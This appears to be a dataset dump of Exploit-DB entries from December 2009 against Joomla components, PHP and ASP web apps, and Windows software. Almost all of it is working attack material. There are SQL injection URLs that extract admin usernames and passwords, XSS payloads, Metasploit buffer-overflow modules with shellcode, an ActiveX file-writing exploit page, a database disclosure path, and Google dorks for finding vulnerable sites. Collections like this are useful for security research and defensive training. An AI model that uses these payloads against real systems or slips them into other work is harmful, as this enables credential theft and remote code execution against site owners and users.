QLWD/code_shield huggingface dataset:
标题: Joomla! Component com_dhforum - SQL Injection EDB-ID: 10742 CVE: 2009-4583 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-27 漏洞利用脚本: ==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


==============================================================================
======
[»] Joomla Component com_dhforum SQL Injection Vulnerability
========================================================================

======

[»] Script: [ joomla Component ]
[»] Language: [ PHP ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team ,Egyptian Hackers ,All My Friends &pentestlabs.com ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

[»] http://[target].com/[path]/index.php?option=com_dhforum&view=grouplist&id=[SQL]



===[ Live Demo ]===

[»] http://server/index.php?option=com_dhforum&view=grouplist&id=-1+union+select+concat

(username,0x3a,password)+from+jos_users--

Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/10742
标题: Media Jukebox 8.0.400 - Local Buffer Overflow (SEH) (Metasploit) EDB-ID: 10744 CVE: 2009-2650 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-27 漏洞利用脚本: ##
# $Id: mediajukebox.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Media Jukebox 8.0.400 Buffer Overflow Exploit (SEH)',
   'Description' => %q{
     This module exploits a stack buffer overflow in Media Jukebox 8.0.400
    By creating a specially crafted m3u or pls file, an an attacker may be able
    to execute arbitrary code.
   },
   'License' => MSF_LICENSE,
   'Author' =>
    [
     'Ron Henry <rlh[at]ciphermonk.net>',
     'dijital1',
    ],
   'Version' => '$Revision: 11516 $',
   'References' =>
    [
     [ 'OSVDB', '55924' ],
     [ 'CVE', '2009-2650']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
     'DisablePayloadHandler' => 'true',
    },
   'Payload' =>
    {
     'Space' => 3000,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [ 'Windows XP SP3 - English', { 'Ret' => 0x02951457} ],   # 0x02951457 pop, pop, ret dsp_mjMain.dll
     [ 'Windows XP SP2 - English', { 'Ret' => 0x02291457} ],   # 0x02291457 pop, pop, ret dsp_mjMain.dll
    ],
   'Privileged' => false,
   'DisclosureDate' => 'July 1 2009',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.m3u']),
   ], self.class)
 end


 def exploit
  sploit = "\x68\x74\x74\x70\x3a\x2f\x2f" # "http://" trigger
  sploit << rand_text_alphanumeric(262)
  sploit << generate_seh_payload(target.ret)
  sploit << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(sploit)
 end

end URL: https://www.exploit-db.com/exploits/10744
标题: Joomla! Component FacileForms - Cross-Site Scripting EDB-ID: 10737 CVE: 2009-4578 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-27 漏洞利用脚本: < ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_facileforms Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske


# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior


# Name : com_facileforms


# Bug Type : Cross Site Scripting


# Infection : Yönetici ve User cookiekleri calinabilir.


# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.


# Demo Vuln. : http://server/index.php?option=com_facileforms&Itemid=[XSS CODE]

#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/10737
标题: Joomla! Component com_beeheard - Blind SQL Injection EDB-ID: 10734 CVE: 2009-4576 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-27 漏洞利用脚本: [++] Joomla Component com_beeheard Blind SQL injection Vulnerability
[++] author : FL0RiX
[++] Name : com_beeheard
[++] Bug Type : (Blind) SQL Injection
[++] Infection : Admin login bilgileri al&#305;nabilir.
[++] Demo Vuln. :

TRUE(+)
» http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=1
FALSE(-)
» http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=0

[++] Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.



< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=null/**/and/**/1=0/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixforever,5,6,7,8,9/**/from/**/jos_users--

< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/10734
标题: Joomla! Component com_qpersonel - Cross-Site Scripting EDB-ID: 10738 CVE: 2009-4575 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-27 漏洞利用脚本: < ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_qpersonel Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske


# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior


# Name : com_qpersonel


# Bug Type : Cross Site Scripting


# Infection : Yönetici ve User cookiekleri calinabilir.


# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.


# Demo Vuln. : http://server/j15x/index.php?option=com_qpersonel&task=sirala&personel_sira=[XSS CODE]




#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/10738
标题: HP Application Recovery Manager - 'OmniInet.exe' Remote Buffer Overflow EDB-ID: 10715 CVE: 2009-3844 类型: REMOTE 平台: WINDOWS 发布日期: 2009-12-26 漏洞利用脚本: class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in HP Application Recovery Manager OmniInet daemon.
     By sending a specially crafted MSG_PROTOCOL packet, a remote attacker may be able to execute arbitrary code.
   },
   'Author'         => 'EgiX <n0b0d13s[at]gmail.com>',
   'References'     => 
    [ 
     [ 'CVE', '2009-3884' ],
     [ 'BID', '37250' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload' =>
    {
     'Space'    => 4658,
     'BadChars' => '\x00',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret
    ],
   'DefaultTarget'  => 0))

   register_options([Opt::RPORT(5555)], self.class)

 end

 def exploit
  connect

  off = payload_space + 8
  sep = "\x00\x00\x20\x00"

  buff =  "\x00\x00\x12\x67"     # packet length 
  buff << "\xff\xfe\x32\x00\x36\x00\x37\x00" # MSG_PROTOCOL command
  buff << sep + rand_text_alpha_upper(2)
  buff << sep + rand_text_alpha_upper(2)
  buff << sep + rand_text_alpha_upper(2)
  buff << sep + rand_text_alpha_upper(2)
  buff << sep + payload.encoded + generate_seh_record(target.ret)
  # jump back to shellcode
  buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
  buff << sep

  print_status("Sending MSG_PROTOCOL packet")
  sock.put(buff)

  sleep(5)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/10715
标题: Green Desktiny Customer Support Helpdesk 2.3.1 - SQL Injection EDB-ID: 10710 CVE: 2009-4456 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-26 漏洞利用脚本: ###################################################################################
                                                                                  #
[~] Green Desktiny - Customer Support Helpdesk SQL injection vulnerability - (id) #
[~] Author : kaMtiEz (kamzcrew@gmail.com)                                    #
[~] Homepage : http://www.indonesiancoder.com                                  #
[~] Date : Desember 25, 2009                                               #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.greendesktiny.com/
[+] Download : -
[+] version : 2.3.1 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : $68            
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/news_detail.php?id=[INDONESIANCODER]

[ Exploit ]

-666/**/union/**/select/**/666,666,666,666,666,666,666,666,666,concat_ws(0x3a,email,password),@@version,666/**/from/**/gd_staff--


===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya ..
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] HAPPY BIRTHDAY TO DON TUKULSETO . WISH U ALL THE BEST .. KEEP MOVIN .. !
[+] merry x-mas and happy new year .. :D

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM URL: https://www.exploit-db.com/exploits/10710
标题: Flatpress - Cross-Site Scripting EDB-ID: 10688 CVE: 2009-4461 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-26 漏洞利用脚本: ========================================================================================                  
| # Title    : FlatPress Cross Site Scripting Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : powered by FlatPress / http://www.flatpress.org/                        |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/flatpress/contact.php/>"><ScRiPt>alert(+213771818860)</ScRiPt>
| 2- http://server/flatpress/login.php/>"><ScRiPt>alert(+213771818860)</ScRiPt>
| 3- http://server/flatpress/search.php/>"><ScRiPt>alert(+213771818860)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10688
标题: CactuShop 6.0 - Database Disclosure EDB-ID: 10686 CVE: 2007-3061 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-26 漏洞利用脚本: ==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [&#65533;] ~ Note : Forever RevengeHack.Com 

==============================================================================  

        [&#65533;] CactuShop v6  Database Disclosure Vulnerability  

==============================================================================  

   

    [&#65533;] Script:             [  CactuShop v6  ]  

    [&#65533;] Language:           [ ASP ]  

    [&#65533;] Download:           [ http://www.aspindir.com/Goster/3114] 

    [&#65533;] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [&#65533;] My Home:            [ RevengeHack.com ]  

    [&#65533;]N0T3    :             Yeni Ac&#65533;klar&#65533;m&#65533; Bekleyin

###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [&#65533;] http://[target].com/[path]/database/cactushop6.mdb

 


  [&#65533;] CactuShop v6 ASP Shopping Cart &#65533;1999-2006 Cactusoft International FZ-LLC & Cactusoft Ltd. All rights reserved.


  [&#65533;]   Admin Page: /_login.asp?




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZv&#65533;ng

                 

- Ben Ne Heyk&#65533;rlar G&#65533;rd&#65533;m  site heyklicek exploiti yok.Ben Ne exploitler g&#65533;rd&#65533;m kullancak heykir yok :D

                                 


########################################################################### URL: https://www.exploit-db.com/exploits/10686
标题: kandalf upper 0.1 - Arbitrary File Upload EDB-ID: 10672 CVE: 2009-4451 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-26 漏洞利用脚本: ========================================================================================                  
| # Title    : kandalf upper 0.1 Upload Shell Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : kandalf upper 0.1  Funzione per upload di file                          |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 1-http://server/kandalf/
| 2- http://server/kandalf/fileup/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10672
标题: phpPowerCards 2.0 - Cross-Site Scripting EDB-ID: 10668 CVE: 2009-4469 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-26 漏洞利用脚本: ========================================================================================                  
| # Title    : phpPowerCards 2.0 Cross Site Scripting Vulnerability                    |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : phpPowerCards 2.0 - Get your copy at www.giombetti.com                  |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS (!m Grazy in L0v3 you XSS)                                          | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://127.0.0.1/immagini/pagenumber.inc.php?archiv=1%00"'><ScRiPt%20%0d%0a>alert(213771818860)%3B</ScRiPt>&subcat=hacked-by-indoushkat&start%5BPic%5D=0
|
| 2- http://127.0.0.1/immagini/pagenumber.inc.php?archiv=indoushka@hotmail.com&subcat=1>"><ScRiPt%20%0d%0a>alert(213771818860)%3B</ScRiPt>&Souknaamane%5BPic%5D=0
|
| 3- http://127.0.0.1/immagini/pagenumber.inc.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10668
标题: paFileDB 3.1 - Cross-Site Scripting EDB-ID: 10667 CVE: 2005-0952 2004-1975 2004-1551 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-26 漏洞利用脚本: ========================================================================================                  
| # Title    : paFileDB 3.1 Cross Site Scripting Vulnerability                         |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)       |
| # EDB-ID   : 10667                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : paFileDB 3.1  &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533; http://www.bwady.com/vb            |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/tools/pafiledb.php?action=email&id=1>"><ScRiPt%20%0d%0a>alert(213771818860)%3B</ScRiPt>&rate=dorate&rating=1&B1=hacked%20by%20indoushka
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10667
标题: SoftBiz B2B trading Marketplace Script - SQL Injection EDB-ID: 10656 CVE: 2005-3937 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-25 漏洞利用脚本: [+]  B2B Trading Marketplace SQL Injection Vulnerability

[+]  Software : B2B Trading Marketplace Script
[+]  Author   : AnGrY BoY
[+]  Contact  : h4kurd@hotmail.com & h4kurd@yahoo.com
[+]  Home     : http://www.kurd-security.com    http://www.h4kurd.com
=====================================================================================


[+]  Dork     : cat_sell.php?cid=  or  selloffers.php?cid=


[+]expolit:
                                      
http://localhost/path/selloffers.php?cid=1+union+all+select 1,concat(sb_admin_name,0x3e,sb_pwd),3,4,5,6,7,8+from+b2b_admin-- 

or 
                            
http://localhost/path/cat_sell.php?cid=1+union+all+select 1,concat(sb_admin_name,0x3e,sb_pwd),3,4,5,6,7,8+from+sbbleads_admin--


[+] example
[+] http://www.youtube.com/watch?v=uEK_Ah3htr0
======================================================================================
[+]Special Thanks:- Hangaw_hawlery & FormatXformaT   and all kurd-security members URL: https://www.exploit-db.com/exploits/10656
标题: SoftCab Sound Converter - 'sndConverter.ocx' ActiveX Insecure Method EDB-ID: 10649 CVE: 2009-4453 类型: WEBAPPS 平台: WINDOWS 发布日期: 2009-12-25 漏洞利用脚本: <!--
# Author: ThE g0bL!N
# Software Link: http://www.softcab.com/ftp/converter_activex.zip
# Version:
# Tested on: Xp sp2
-->
<title>Exploited By : ThE g0bL!N </title>
<BODY>
 <object id=dz classid="clsid:{66757BFC-DA0C-41E6-B3FE-B6D461223FF5}"></object>

<SCRIPT>

function Do_it()
 {
     File = "Dz.exe"
   dz.SaveFormat(File)
 }

</SCRIPT>
<h3>SoftCab Sound Converter ActiveX (sndConverter.ocx) Insecure Method Exploit </h3>
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>
</body>
</HTML> URL: https://www.exploit-db.com/exploits/10649
标题: jetAudio 8.0.0.0 - '.asx' Basic Local Crash (PoC) EDB-ID: 10650 CVE: 2008-0747 类型: DOS 平台: WINDOWS 发布日期: 2009-12-25 漏洞利用脚本: #!/user/bin/perl
# Exploit Title: [Local Crash Poc]
# Date: [Fri/Dec/25/2009]
# Author: [D3V!L FUCKER]
# Software Link: [http://www.jetaudio.com]
# Version: [jetAudio v 8.0.0.0 Basic]
# Tested on: [windows vista sp0]
# Code :
my $file= "crash.asx";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n"; URL: https://www.exploit-db.com/exploits/10650